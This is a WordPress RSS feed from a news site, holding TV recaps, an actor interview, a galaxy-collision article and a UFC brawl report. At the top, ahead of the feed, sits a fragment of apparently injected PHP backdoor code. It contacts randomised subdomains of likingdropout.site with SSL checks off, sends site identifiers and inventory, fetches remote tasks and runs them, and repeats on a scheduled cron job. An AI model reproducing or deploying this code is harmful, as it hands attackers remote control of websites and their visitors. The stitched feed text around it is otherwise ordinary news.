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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Punch – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 14 Apr 2020 10:01:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Punch – Brief News https://briefnews.eu 32 32 The Voice Recap: Which Knockouts Packed the Biggest Emotional Punch? https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/ https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/#respond Tue, 14 Apr 2020 10:01:16 +0000 https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/ As we lurch ever closer to the uncertainty of whether The Voice will be able to stage any kind of live episodes in Season 18, the pretaped Knockouts kicked off Monday. And did they ever pack a punch! At least one sing-off — Team Kelly’s CammWess and Megan Danielle’s — was so impressive, it made me rethink my stance on how easy the coach’s decisions are. It also led to the strangest tangent ever about what it’s like when Blake Shelton blows out his Spanx. (It resembles a half-open can of biscuits, it turns out.) How was the rest of the night? Read on; as always, we’ll discuss.

The Voice Recap Megan Danielle Cammwess KnockoutsTeam Blake: Joei Fulco singing “When Will I Be Loved?” (Grade: B+) defeated Levi Watkins singing “I Ain’t Living Long Like This” (Grade: A-) | In rehearsal with Mega Mentor James Taylor, Joei said possibly the most honest thing we’d hear all night: “My dad will be so jealous.” Not that Taylor isn’t a legend and a half, I just doubted that she or Levi would know him from Grandpa Munster. Hilariously, Levi clarified that, although he was singing Waylon Jennings’ outlaw party-every-night song, he was neither an outlaw nor out partying every night. Adorable. And he had what his coach called “a deep bottom end” that seemed destined to serve him well on stage. In the moment of truth, he sang like a freakin’ pistol that had just been shot. I hate to sound like the coaches, playing their broken record of “OMG! And he’s only 14!” but s—, he is. And he performs like someone 10 times his age. This was more fun than anything Jake Hoot did in Season 17 — and he won. When it was Joei’s turn, she was splendid, letting rip a voice as rich and pliable as warm caramel. Despite that, I would’ve gone — and thought “Mr. Blake” had to go — with Levi, an anomaly in Season 18 and a contestant less likely to get lost in the shuffle. Guess he proved me wrong. Damn.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Kelly: Megan Danielle singing “Piece by Piece” (Grade: A-) defeated CammWess singing “Say Something” (Grade: A) — CammWess stolen back by John | No sooner had Megan arrived at rehearsal than she “Oprah’d” her coach by saying she’d chosen her song because, yeah, she related to it. CammWess made Kelly cry next by suggesting that A Great Big World’s hit could apply to faith. Yeah, Kelly was a one-woman waterworks Monday. When Megan and CammWess hit the stage, ho. Ly. Crap. Maybe I’m just hyperemotional from being home for weeks, but these two killed me as much as they had their coach. After making a bigger impression in the Battles than he had in the Blinds, CammWess delivered a Knockout that really lived up to the name. It was super intimate, super vulnerable, and those runs — he did with the sounds coming out of his mouth the same thing a ribbon dancer does with ribbons. I got actual chills. Then Megan got up there and sang her heart out with a mercilessness that made you just want to hug her. Plus, the combination of precision and rawness that she packs into each performance is just nothing short of magical. I know I often say, “Oh, who are the coaches kidding pretending it’s hard to pick a winner?” But Lord, this one was hard to pick. I’d probably have given the edge to CammWess, who seemed a scintilla more present and connected on stage. Kelly, after saying that she’d made her decision strategically, went with Megan, then let Nick duke it out with CammWess’ former coach John over which of them was going to steal him.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Legend: Mike Jerel singing “Versace On the Floor” (Grade: B-) defeated Darious Lyles singing “Me and Mrs. Jones” (Grade: B+) | Good as Darious is, I kinda thought this Knockout was Mike’s to lose; he’s not just in another league, it’s like he’s from another planet. In rehearsal, John discouraged Darious from letting his big notes trail off (which it didn’t seem like he should need to do, anyway — his voice is big enough to stay big, right?). But Mike actually sounded iffier during his run-through; John and James both heard pitch issues. Under the spotlight, Darious offered up the equivalent of a turndown service, using his own velvety voice as the silk sheets. He was, in a word, terrific. Yet I still somehow felt like I was expecting more — maybe a key change? There was nothing, and I mean nothing, wrong with what he did. It was just sorta like a firework that you expect to explode more brilliantly than it does; it was still pretty and enjoyable, just not as exciting as you anticipated. Up next, Mike seemed to have gotten his pitch issues mostly under control — mostly. Nick heard him sounding at points uncomfortable. But his performance didn’t quite come together. All the parts were there, they just needed to sit on the burner a little longer, maybe? I’d have gone with Darious, even though I wanted more from his number.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Nick: Roderick Chambers singing “Redbone” (Grade: B) defeated Tate Brusa singing “The Scientist” (Grade: D) | I might’ve assumed that Nick would lean toward Mini Me Tate, were it not for the fact that Roderick had so distinguished himself in the Battles. I wasn’t sure about his choice of Childish Gambino’s hit for himself, though; it was sounding a little dicey in rehearsal. Tate struggled, too, however. At times, it sounded like he couldn’t find a note if it was written on a Post-It. When it counted, Roderick reminded us why he isn’t to be underestimated. I still wasn’t sure that the song was the right pick for him, but he totally brought it. The broad-shouldered contestant looked like a refrigerator singing sweet nothings at us — and, more often than not, it worked. Next to take the mic, Tate started off with enough pitch problems to get him sent back to baseball camp. The kid’s talented for sure, but this was painful. Even on the big notes that generally allow him to cut loose, he didn’t manage to sell it. So this was an easy decision — for me, anyway: I would’ve gone with Roderick.

the-voice-recap-megan-danielle-cammwess-knockoutsTeam Blake: Todd Tilghman singing “Anymore” (Grade: C+) defeated Cam Spinks singing “Rumor” (Grade: D) | Prior to this Knockout, I imagined that I’d enjoy Todd’s performance more than Cam’s, and Blake would gravitate toward Cam regardless since he’s country through and through. But Blake was hearing greater range from Cam in rehearsal than he ever had before. So maybe he would surprise me. The big challenge for Todd seemed like it was going to be figuring out the best way to harness his energy on stage; to that end, James helped him rearrange his Travis Tritt cover a bit. First up, hmm… Todd held my interest as much as a piece of day-old toast does. He was fine, but fine wasn’t gonna cut it. Only when the song really let him cut loose and unleash his voice, a cross between a foghorn and Joe Cocker, did he come alive. Didn’t think that was gonna be enough. In the No. 2 position, oh crap. Cam sounded so off, I turned down the volume on my TV in hopes of helping him out. “That was fun,” John lied before nailing Cam on pitch problems. Kelly suggested that he hadn’t given himself enough room to spread out on “Rumor.” On the flipside, Todd, in his coach’s estimation, was “literally an animal that feeds off of energy.” So they had better pick him some more energetic songs!

Team Legend: Zan Fiskum singing “The Story” (Grade: B-) defeated Joanna Serenko singing “Angel From Montgomery” (Grade: A-) — Joanna stolen by Blake | This Knockout actually seemed like it might be a toughie — the contestants were too evenly matched. Even when Joanna started her John Prine/Bonnie Raitt cover with the line “I am an old woman,” I couldn’t help but believe her. Her voice is so pure, every note rings true. When Zan tried out her Brandi Carlisle number, she was so predictably excellent that it dawned on me, “Oh, duh — two powerhouses, last Knockout of the night, we must be getting a Steal!” Singing first, Joanna was nothing short of mesmerizing. She had my heart doing the same happy dance that her coach was doing in his seat. Yeah, she struggled a little on the bigger notes — she was more comfortable singing a little more softly, cool as the morning dew — but overall, stunning. Rounding out the night, Zan was good but less vocally confident than I’d come to expect. I actually thought the band did her a favor when they came in and kinda overpowered a line that sounded thisclose to going off the rails. Don’t get me wrong — for the most part, she was good. Really good. I just thought that she’d be better. (Am I asking too much?) Thankfully, Blake and Joanna’s former coach Nick both hit their Steal buttons to keep Joanna around.

So, which of the Knockouts really wowed you? Any of them Spanx-bustingly good? Vote for your favorite below, then hit the comments. Anybody got a bright idea about how we could go live while social-distancing?

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“All you need to do to prove you’ve been watching, I’m not feeling good about this, to prove you’ve been watching for 15 minutes of the show, name one destination the wheel has visited,” Phillip explained. 

“Where did he go on his holidays?” Holly added and Ian was heard thinking: “Oh, um…”

“Come on Ian!” Phillip encouraged and then hinted: “Sphinx about it,” in reference to Egypt. 

“Viva….” Holly sang in reference to the bright lights of Vegas, but Ian struggled to realise this clue so Holly repeated: “Viva?” 

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]]> https://briefnews.eu/phillip-schofield-loses-it-with-this-morning-viewer-as-he-goes-to-punch-screen-say-it/feed/ 0 Castle Rock’s Lizzy Caplan Explains Annie’s ‘Gut Punch’ Finale Decision: ‘This Was the Only Way to End It’ https://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/ https://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/#respond Wed, 11 Dec 2019 23:41:58 +0000 http://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/

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The following post contains spoilers from Castle Rock‘s Season 2 finale. If you haven’t watched the episode yet, avert your eyes.

Paul Sheldon may not know it yet, but he just encountered his No. 1 fan.

Castle Rock wrapped its second season on Wednesday with an emotional finale, which, among other things, introduced a young Annie Wilkes to the Misery Chastain novels with which she ultimately becomes obsessed. But even as Annie gained a new “little love” in the form of Paul Sheldon’s writing, she lost another — and this one hurt.

First, a brief recap: Just moments before Amity Lambert was to be reincarnated in Joy’s body, Nadia and Abdi blew up the statue that had been hypnotizing Castle Rock’s residents. As soon as the statue had been destroyed, the spell was broken, and Joy drove a knife through Ace Merrill’s back before fleeing the scene.

With those traumatic events (sort of) behind them, Annie and Joy resumed their road trip, eventually landing in Canada where Annie found work as a caretaker for an elderly, bed-ridden man. But Joy didn’t exactly return to her normal self; she was moody and standoffish, and Annie grew increasingly suspicious that Joy was still possessed by Amity’s spirit — suspicions that were only made worse by a phone call she overheard, in which Joy and a deep-voiced man were discussing the plan for “tomorrow.”

Convinced that her daughter now posed a threat, Annie slipped some anti-psychotics into Joy’s bowl of ice cream… but when Joy realized she’d been drugged, Annie tried to force the ice cream into her daughter’s mouth, prompting a physical scuffle between the two women. Joy eventually ran outside to the lake surrounding their house, but Annie caught her before she could untie the boat next to the dock — and minutes later, Annie had drowned Joy in the water.

When a shell-shocked Annie went back inside the house, she found a letter that Joy had written to her, explaining that she needed to live on her own for a while, and the phone call Annie had heard was with a lawyer who would help Joy get emancipated. Realizing that she had just killed her harmless daughter, a horrified Annie raced back outside and tried to revive Joy, who fortunately spit up water and regained consciousness (and believed her mom’s lie that she had fallen into the lake, leading Annie to save her life).

Following Joy’s miraculous resurrection, she and Annie became closer than ever: They restarted their road trip once again, and Joy suddenly seemed content to live with her mom forever, rather than carving out her own life. At the end of the hour, Annie and Joy attended a book signing for Paul Sheldon, whose novels Annie had discovered (and become instantly infatuated with) during their stay in Canada. But as the event began, one final twist was revealed: Joy was only a hallucination in Annie’s head. Annie had drowned her daughter in the lake that day, and Joy wasn’t really there, after all.

TVLine caught up with series star (and Performer of the Year finalist) Lizzy Caplan, who explained Annie’s horrifying actions in the finale (and revealed a Misery homage that didn’t make it into the show).

Castle Rock Season 2 FinaleTVLINE | Let’s start with that very final moment, when we learn Annie did kill Joy, and her daughter is just in her head now. Had you discussed that twist beforehand with the producers, or were you taken by surprise when you read the finale script?
Yeah, that was something that [series co-creator] Dustin Thomason and I discussed. There was a version of a different ending that we thought we were going to do when we were halfway through shooting the season. And then it became very, very clear that this was the only way to end it. Annie had to kill Joy. It wouldn’t have had the same emotional impact if she had killed somebody else and Joy witnessed it, and then that caused their future emotional estrangement. None of it seemed to carry enough of an emotional gut punch as killing Joy…. We wanted the audience to constantly be questioning whether Annie was going to kill Joy. There’s this pull in that direction, and Annie spends so much time fighting that pull. We wanted this specter that’s hanging over Annie for the whole season: Will she kill Joy? Deep down, Annie was conscious of that fear, and Joy probably was, as well. And we just didn’t want to end the season with a whimper. We wanted to end it with a bang where [Annie’s] deepest fear about herself would actually come to pass.

TVLINE | As the woman playing Annie, did you feel as though her actions were justified? Or did you have a hard time wrapping your head around her decision?
Yeah, Annie took this one a bit far. [Laughs] The whole thing I realized in playing this character is that even though she often sees things that aren’t there, and she misreads the room quite a lot, it has to feel very true to Annie. I didn’t want it to be like, “Oh, she’s crazy. She does crazy stuff. I would never do that!” I wanted people to feel like, “Oh, God, maybe in that situation, backed against that wall, maybe I would do something like that.” That is sort of my job, to make her actions seem justifiable to her. And when we get to the second half of this finale, she’s suspicious that Joy is, in fact, one of the turned people. And she is well within her rights to suspect that, to be afraid of something like that. They’ve just survived this completely outlandish situation, so with Annie Wilkes’ logic — you can’t really fault her for thinking that is a possibility. We can fault her logic in previous scenes throughout the season, but I don’t think this one.

And when you’re a teenager, you start breaking away from your parents and looking for your own independence, and it seems most mothers have to grieve their little girl and welcome in this grown woman. And that’s a difficult situation in the real world. Our situation is obviously enhanced, to put it lightly. [Laughs] But this situation with Joy — you buy both versions of it. You buy the version that she’s still possessed and under this spell — that’s Annie’s reality — and you can also completely buy that Joy’s just being a teenager who went through some heavy s—t and needs to be by herself for a little bit. We wanted the audience to not know which was the reality. At the beginning of the season, the audience knows what is real and what is not, even when Annie doesn’t always. But because we’ve gone through this supernatural task, the audience is hopefully questioning what’s true and what isn’t. If we can put you a little bit in the brain of Annie, so that you’re questioning your logic around those decisions, then we’ve done a good job.

TVLINE | I want to get your take on Annie’s hallucinations at the end, particularly when she’s seeing Joy. Is that a direct result of her psychosis, and perhaps a lack of medication? Or is this just her twisted way of grieving?
Probably a combination of all those things. I do believe that, like many things about Annie, it’s very open to the audience’s interpretation. I personally believe — and this is truly just my opinion, since we won’t get to see what happens beyond that moment — that once she sees Paul Sheldon, and she’s completely locked into her new obsession with Misery and this author, Joy would eventually disappear. [Annie’s] got her sights set on her next true love. She leapfrogs from one to the next: from her father to Joy, and now to Paul Sheldon and the Misery books. She only has room to truly love one thing and be obsessed with one thing. So as she settles into this new obsession, I feel like Joy would probably fade into the background. I don’t believe that Joy is manifesting herself in Annie’s brain during the Sidewinder, Colorado days [in Misery]. Joy’s put to bed before that occurs.

Castle Rock Season 2 FinaleTVLINE | I loved that moment where Annie picks up a Paul Sheldon book for the first time and reads a passage, then says, “Good opening.” Did you get a kick out of those little nods to the future Annie?
Absolutely. It was the best. In fact, I just remembered something! And I’m really bummed it’s not in there! We got a prop made of a little penguin — I don’t know if you remember this from the movie, but Annie has a penguin figurine, and when Paul Sheldon goes out into the living room, that’s how she knows he’s been out of his room. So we recreated it! She was going to find that, too. [Laughs] Doing those little Easter eggs was the fun of it all. Yes, it’s a horror show, and there are really emotionally charged scenes. But the joy of playing and watching Annie Wilkes is that she’s not just this super intense, dark villain all the time. She has these other dimensions, including being silly and fun, and those are the things that I love most about Misery. She’s operating under a different rulebook.

TVLINE | Speaking of which — and I hope this isn’t too twisted a question — there was a moment in Episode 9 where Jamal is lying in that hospital bed, and Annie picks up a mallet, and she looks like she’s going to hurt him with it, but she doesn’t. Was there any part of you that was weirdly disappointed she didn’t get to pull the same move that Misery’s Annie did?
[Laughs] We did get that sledgehammer scene where I smash the guy’s head in [during Episode 8], so that was very satisfying. We were all very excited to get to shoot that. But in the scene that you’re talking about, those were just random props that were laid out. I wanted to have a moment of picking up that hammer and looking at it. Part of the fun of doing this show is those little homages to the queen [Kathy Bates]. We were always looking for little things we could sneak in, some of which started in the script stage before we started shooting, and some we would just find on set, and it gave us glee thinking about people discovering those when they watched the show.

TVLINE | You and Elsie Fisher had some harrowing scenes in the second half of this episode. Were any of those particularly challenging to film?
Yeah, all of the stuff in the water was really tough. Not only because it was very cold, but there was already so much emotional heavy lifting, and then you add the physicality of running through water. I find that really helpful, personally, in performance, because you’re kicking your own ass physically, in addition to whatever the emotional lifting is. Also, I love Elsie. I do have maternal feelings toward her, so even just pulling her head back by her ponytail or anything that would hurt her or make her feel afraid — I did feel guilty about that. But only after “cut.” [Laughs] Between “action” and “cut,” I enjoyed wrestling that little lady.

And weirdly, the ice cream scene — we were trying to figure out how to do that for quite a while. We kept coming back to that, to really sell how harrowing that moment would be. Elsie and I are really good friends, and you’re coming to the end of the season when you’re smashing ice cream in someone’s face… this is a little funny, and we don’t want it to feel funny. It was just about trying to find the right tone. She and I appreciated the weight of this relationship, and we knew what we were tasked with in this finale. But it was also the final episode, so there’s this last-day-of-school, celebratory vibe on set. We tried to find the line between those two things. It truly was an amazing experience to shoot this show, but obviously there’s some very heavy s—t.

Your turn, Castle Rock fans! What did you think of the sophomore finale? Grade the episode in our poll below, then drop a comment with your full reviews!

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]]> https://briefnews.eu/castle-rocks-lizzy-caplan-explains-annies-gut-punch-finale-decision-this-was-the-only-way-to-end-it/feed/ 0 The Good Place lands a punch to the gut in S3 finale https://briefnews.eu/the-good-place-lands-a-punch-to-the-gut-in-s3-finale/ https://briefnews.eu/the-good-place-lands-a-punch-to-the-gut-in-s3-finale/#respond Sun, 27 Jan 2019 03:30:46 +0000 http://briefnews.eu/the-good-place-lands-a-punch-to-the-gut-in-s3-finale/
Kristen Bell plays Eleanor Shellstrop, a former "Arizona trash bag" of a human being trying to become a better person in the afterlife.

Enlarge / Kristen Bell plays Eleanor Shellstrop, a former “Arizona trash bag” of a human being trying to become a better person in the afterlife. (credit: Colleen Hays/NBC)

After wowing audiences for two pitch-perfect seasons, season 3 of The Good Place got off to an uncharacteristically bumpy start. But even a less-than-perfect The Good Place is still a delight, and later episodes recaptured the magic that earned the series a spot on the Ars list of our favorite TV shows of 2018. The season 3 finale gave us yet another game-changing twist, and it broke a few hearts in the process.

(Spoilers for first three seasons of The Good Place below. And mea culpa on earlier spoilery headline.)

The Good Place has always kept us guessing, from the pilot episode in which Eleanor (Kristen Bell) realizes she’s been admitted to paradise by mistake, to that shocking twist in the Season 1 finale that turned the original premise on its head.

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]]> https://briefnews.eu/the-good-place-lands-a-punch-to-the-gut-in-s3-finale/feed/ 0 Milky Way to face a one-two punch of galaxy collisions https://briefnews.eu/milky-way-to-face-a-one-two-punch-of-galaxy-collisions/ https://briefnews.eu/milky-way-to-face-a-one-two-punch-of-galaxy-collisions/#respond Sat, 05 Jan 2019 13:59:42 +0000 http://briefnews.eu/milky-way-to-face-a-one-two-punch-of-galaxy-collisions/
Image of a web of blue threads, representing dark matter, and orange galaxies that form along them.

Enlarge / A simulation of galaxies forming in the early Universe. By chance, some of them experience a history that’s similar to the Milky Way’s. (credit: The EAGLE Project)

If our knowledge of galaxy structures was limited to the Milky Way, we’d get a lot of things wrong. The Milky Way, it turns out, is unusual. It’s got a smaller central black hole than other galaxies its size; its halo is also smaller and contains less of the heavier elements. Fortunately, we’ve now looked at enough other galaxies to know that ours is a bit of an oddball. What’s been less clear is why.

Luckily, a recent study provides a likely answer: compared to most galaxies, the Milky Way’s had a very quiet 10 billion years or so. But the new study suggests we’re only a few billion years from that quiet period coming to an end. A collision with a nearby dwarf galaxy should turn the Milky Way into something more typical looking—just in time to have Andromeda smack into it.

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The researchers behind the new work, from the UK’s Durham University, weren’t looking to solve the mysteries of why the Milky Way looks so unusual. Instead, they were intrigued by recent estimates that suggest one of its satellite galaxies might be significantly more massive than thought. A variety of analyses have suggested that the Large Magellanic Cloud has more dark matter than the number of stars it contains would suggest. (Its stellar mass is estimated to only be five percent of the Milky Way’s.)

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]]> https://briefnews.eu/milky-way-to-face-a-one-two-punch-of-galaxy-collisions/feed/ 0 Conor McGregor CONFIRMS rematch after Khabib 'FRIENDS' jump in cage, PUNCH him from behind https://briefnews.eu/conor-mcgregor-confirms-rematch-after-khabib-friends-jump-in-cage-punch-him-from-behind/ https://briefnews.eu/conor-mcgregor-confirms-rematch-after-khabib-friends-jump-in-cage-punch-him-from-behind/#respond Sun, 07 Oct 2018 10:16:07 +0000 http://briefnews.eu/conor-mcgregor-confirms-rematch-after-khabib-friends-jump-in-cage-punch-him-from-behind/

Khabib won the lightweight fight by submission in the fourth round to consign McGregor to his second UFC defeat.

But the win has been totally overshadowed by the sickening moments that followed afterwards – when Khabib stormed out of the octagon and his associates crashed in.

Khabib himself leapt out to attack Bellator fighter Dillon Danis, one of McGregor’s closest allies in the camp, who trains jujitsu with him. Danis He was later escorted out by police.

At that moment, McGregor had his back to proceedings and was NOT involved.

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It was then when he was attacked from behind by two of ‘Khabib’s friends’, according to UFC pundits, who landed blows on McGregor when he wasn’t looking.

UFC president Dana White refused to hand over the belt to the Russian while White later revealed three had been arrested.

The president said: “Three of his [Khabib’s] guys have been arrested and taken to jail. The three guys that were involved in the incident, I believe it was those three, have been arrested and taken to jail right now.”

But McGregor has appeared to confirm that a rematch is now on the cards with a post from his official Twitter account at 10.20am UK time .

He wrote: “Good knock. Looking forward to the rematch.”

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

After a lengthy delay, Nurmagomedov eventually addressed a media conference at the T-Mobile Arena.

“First of all I want to say sorry to athletic commission Nevada, to Vegas, I know this is not my best side. This is not my best side,” he said.

He went on to complain bitterly about McGregor’s behavior in the lead-up to the fight that exacerbated the bad blood between the two teams.

“He talk about my religion, he talk about my country, he talk about my father, he come to Brooklyn and he broke bus, he almost killed a couple people – what about this?” he asked reporters.

Stunned Joe Rogan – the respected UFC pundit – believes it was all sparked by something Danis said and an illegal McGregor move in the fight

“Khabib was angry because Conor was grabbing Khabib’s gloves,” he explained.

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

“He was hooking against his gloves, he was doing it illegally and Khabib said to [referee] Herb Dean that he did it three times. That’s what it was all about. That’s why he fired up.”

On whether Khabib’s moves were pre-planned, Rogan said: “I don’t think it’s calculated. I think he was in the moment and full of passion.

“I think Conor will come out the victim here and Khabib is going to have a very difficult time getting a visa This is incredibly disappointing – I can’t believe we needed more security than we did.

“The fact his friends jumped in the cage and punched McGregor in the face when Conor had no idea that was going to happen, he wasn’t even involved in that.

“The whole thing is extremely unfortunate and a black eye on the sport. We couldn’t hear what he said but Dillon absolutely was insulting Khabib and that’s when he jumped over the fence and attacked him.

“I couldn’t believe my eyes when it was happening. When he went over the top and into the crowd, I couldn’t believe it.”

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

Welterweight champion Tyrone Woodley, working on BT Sport, explained: “It went into complete pandemonium. Khabib jumped out the octagon. He went after Conor’s team-mate Dillon.

“Then Khabib’s men went after Conor after he was recovering from a loss. It was complete chaos.”

Michael Bisping now thinks Khabib could struggle to get back into America.

“I have never seen anybody make such a mistake in my entire life. Khabib fought brilliantly and did everything perfectly,” he said.

“He finished Conor perfectly. That was it. It was revenge. That’s all he had to do.

“He had dignity and class all week but now he’s ruined it on an epic style. He’s absolutely destroyed his reputation.

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

“He could lose his lightweight title and a suspension by the commission. He might have his visa revoked. This is ridiculous.

“This is the beautiful thing about our sport. Two guys step into the octagon even if they hate each other, we’ve seen it time and time again.

“Grudge matches where they can’t understand one another but when the fight is done, the dust is settled and they shake hands and it’s over.

“That’s what’s happened this time. Khabib has destroyed his legacy in my opinion.

“I’m a big fan of Khabib but there’s no forgiving what we’ve seen tonight, I’m sorry.

“Conor is going to be seen as the victim. Khabib blew it. The stories, the public perception, will all be on Conor’s side. They’ll say he got jumped and everyone will say they feel sorry for him.

“Ultimately Conor might end up winning this fight.”

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

White labelled it a ‘dark day’ for the sport while UFC star Tony Ferguson slammed Khabib for his actions.

“It was absolutely unprofessional and uncalled for,” he said.

“We’re trying to clean the sport up and take it towards Olympic level and it was bad part on Khabib.

“He should have taken the win, taken the belt and walked away like a man.

“Then we saw this melee which was embarrassing.

“You have grudge matches in all sports but once you get in the octagon and fight, that’s that. I’m upset and I’m appalled.”

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

Nurmagomedov demanded his title belt be awarded to him after returning from attempting to attack Danis.

He was heard saying: “Give me this belt, I want this belt. Give me this belt.”

But White wasn’t playing ball and he refused to comply with Khabib’s request.

“What’s going to happen is, and this is what I believe, if I put this belt on you everyone will kick off,” he said.

Conor McGregor was the victim of a savage attack by Khabib’s ‘friends’ at UFC 229 (Image: BT SPORT)

‘Conor McGregor could have died in Vegas… why Khabib has brought UFC to SHAME’

From Chisanga Malata in Las Vegas

I WASN’T in Brooklyn – when Conor McGregor threw a dolly through a bus window with Khabib Nurmagomedov inside – but I was in Las Vegas.

And what I saw from my front row seat with my own eyes – at just after 10pm out here – was the lowest of the low.

To say the brawl was chaos would be putting it lightly. It was utter carnage.

Not only could the fracas have led to the participants suffering serious injuries, it could have caused casualties among the spectators.

It has ruined an otherwise stellar night for the UFC, who are now in the midst of another huge controversy a mere six months after McGregor’s antics at the UFC 223 media day in Brooklyn.

Now I know what you’re thinking – he’s being overdramatic and fans weren’t at all in danger.

But the lives of some of the fight goers were at stake when multiple brawls kicked off in the crowd.

We have seen it all before. Members of the public killed by one punch. Floored in a late-night town centre brawl.

Quite frankly, we are lucky no-one has died.

Nurmagomedov and McGregor fans, some of whom had been drinking heavily, shockingly traded blows as their heroes were being led out of the arena.

Some of those involved fell down stairs and found themselves fighting off multiple attackers.

There’s always a possibility of crowd violence at combat sports events, a fact security at arenas around the world are more than are aware of.

But even they couldn’t have prepared themselves for what ensued after The Notorious’ claim to be the undisputed lightweight champion was laid to waste in emphatic fashion

The tensions between Team McGregor and Team Nurmagomedov were well documented before the fight, which makes one wonder why extra security wasn’t deployed cageside. Quite simply, there was not enough.

That being said no one could have prepared for a cowardly attack from behind being launched on McGregor, whose future in the sport is once again unknown.

The eyes of fight fans across the world were firmly fixed on the T-Mobile Arena, with many keen to see if McGregor could become the first man to defeat Nurmagomedov and reclaim the lightweight title he was stripped of in April.

Not just fight fans, either. Sports fans had a taste of McGregor in the boxing ring and there was a new breed of UFC converts.

Not now. Sport went out the window the moment Khabib hurdled the octagon. This is not backpage news. This is frontpage stuff.

This incident is, unfortunately, a huge black eye for the UFC and fans of mixed martial arts around the globe.

I would love for it to not overshadow one of the best cards MMA’s premier promotion have held in the last two years.

But it has. UFC has been dragged through the mud. The entire world is talking about the brawl.

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]]> https://briefnews.eu/conor-mcgregor-confirms-rematch-after-khabib-friends-jump-in-cage-punch-him-from-behind/feed/ 0 Captain Marvel trailer: Why did Captain Marvel punch an old lady on a train? https://briefnews.eu/captain-marvel-trailer-why-did-captain-marvel-punch-an-old-lady-on-a-train/ https://briefnews.eu/captain-marvel-trailer-why-did-captain-marvel-punch-an-old-lady-on-a-train/#respond Wed, 19 Sep 2018 09:44:42 +0000 http://briefnews.eu/captain-marvel-trailer-why-did-captain-marvel-punch-an-old-lady-on-a-train/

Captain Marvel is a superhero – a force for good and justice in the world.

Her Kree alien hybrid DNA turned Carol Danvers into this superhero – long touted by Marvel as the potential saviour of the Avengers.

The trailer offered a window into some of her powers, as well as a hefty dose of 1990s nostalgia.

But fans were left bemused by one funny, but shocking, moment in the trailer.

Why did Captain Marvel punch an old lady on a train?

To understand why a superhero would punch a seemingly innocent old woman, one has to understand the context of the movie.

The Captain Marvel movie is set during the Kree-Skrull war, a conflict between two alien species for dominance in the universe.

